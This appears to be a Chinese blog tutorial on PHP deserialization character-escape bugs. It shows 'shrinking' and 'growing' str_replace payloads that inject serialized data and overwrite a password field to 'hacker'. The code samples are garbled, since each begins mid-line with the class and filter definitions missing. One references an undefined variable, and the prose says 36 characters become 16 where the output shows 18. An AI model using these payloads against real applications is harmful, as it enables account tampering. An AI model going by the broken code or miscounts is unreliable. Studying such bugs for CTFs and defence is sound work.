简单弄懂php反序列化之字符逃逸(修改密码功能)

字符逃逸,顾名思义就是字符被莫名处理后不能达到以前的效果。

简单的理解序列化和反序列化就是:

序列化:将对象转换为字符串;反序列化:将字符串转换为对象;

这里区别于java的序列化,java是将对象转换为字节码的形式,一般是在一些IO流中,实现Serializable接口。

下面给出一段一段序列化:

O:5:"nlost":2:{s:4:"name";s:5:"admin";s:6:"passwd";s:5:"12345";}

从这里我们可以看到,对于每段序列化结果,都会以 } 代表结尾,这就是导致字符逃逸的原因。

假如我们在可以人为设置参数的地方写上特殊字符串,即包含 },就可以导致原来的序列化失去该有的效果。

这里还有个前提条件就是必须要包含字符替换函数,如str_replace('cc', 'b', $str), 把匹配到的'cc'替换为‘b’,这就导致替换的字符缺少一位,另一种情况就是str_replace('b', 'cc', $str),替换后字符多一位。

对于将多个字符替换为少,可以称之为 ;(吃掉后面的字符)

对于将少个字符替换为多,可以称之为

  1. 字符逃逸:‘吃’

给出一段正常的序列化:

name=$name;
        $this->pass=$pass;
    }
}
$a=new nlost('admin','12345');
echo serialize($AA).PHP_EOL;
$res=filter(serialize($a));
echo $res.PHP_EOL;
$c=unserialize($res);
echo "name:  ".$c->name."
"; echo "pass: ".$c->pass; ?>

正常输出:

O:5:"nlost":2:{s:4:"name";s:5:"admin";s:4:"pass";s:5:"12345";}
O:5:"nlost":2:{s:4:"name";s:5:"admin";s:4:"pass";s:5:"12345";}
name:  admin
pass:  12345

假如name和pass是我们可以控制的参数,并且调用了filter()方法呢?

name=$name;
        $this->pass=$pass;
    }
}
$a=new nlost('cccccccccccccccccccccccccccccccccccc',';s:4:"pass";s:6:"hacker";}');
echo serialize($a).PHP_EOL;
$res=filter(serialize($a));
echo $res.PHP_EOL;
$c=unserialize($res);
echo "pass:  ".$c->pass;
?>

输出:

O:5:"nlost":2:{s:4:"name";s:36:"cccccccccccccccccccccccccccccccccccc";s:4:"pass";s:26:";s:4:"pass";s:6:"hacker";}";}
O:5:"nlost":2:{s:4:"name";s:36:"bbbbbbbbbbbbbbbbbb";s:4:"pass";s:26:";s:4:"pass";s:6:"hacker";}";}
pass:  hacker

filter方法中我们知道,每2个c就被替换为1个b,红色部分是我们在每次正常序列化时都会产生的部分,也就是我们需要吃掉的部分,不然每次解析的时候都会多出那一部分。利用filter方法,红色部分共18个字符,那么就需要吃掉18个,所以就需要36c,经过filter后变为16个b,剩下的16个用红色部分字符补充,后面跟的pass(绿色部分)就是我们自己按序列化形式写的,以} 结尾,

这就实现了字符逃逸被 ‘吃’ 的情况。更改了我们的账号和密码。

 2. 字符逃逸:‘挤’

下面说一下‘挤’的情况:

name=$name;
        $this->pass=$pass;
    }
}
$a=new nlost('bbbbbbbbb";s:4:"pass";s:6:"hacker";}','1243');
echo serialize($a).PHP_EOL;
$res=filter(serialize($a));
echo $res.PHP_EOL;
$c=unserialize($res);
echo 'pass:  '.$c->pass;
?>
输出:

O:5:"nlost":2:{s:4:"name";s:36:"bbbbbbbbb";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:4:"1243";}
O:5:"nlost":2:{s:4:"name";s:36:"cccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:4:"1243";}
pass:  hacker

原理都相同,就是替换后字符变多,将多的字符挤了出去。先找到固定序列化输出部分(就是正常情况下构造恶意的pass的序列化输出),判断位数;

红色部分就是我们构造的目标语句,共占27个字符,其中1个b替换为4个c,多了3个字符,27/3=9,所以需要9个b就会将红色部分挤到pass的位置。而又因为红色部分包含 },会提前结束,就会放弃后面的部分,导致pass被更改。 

你可能感兴趣的:(php反序列化,CTF,php,web安全)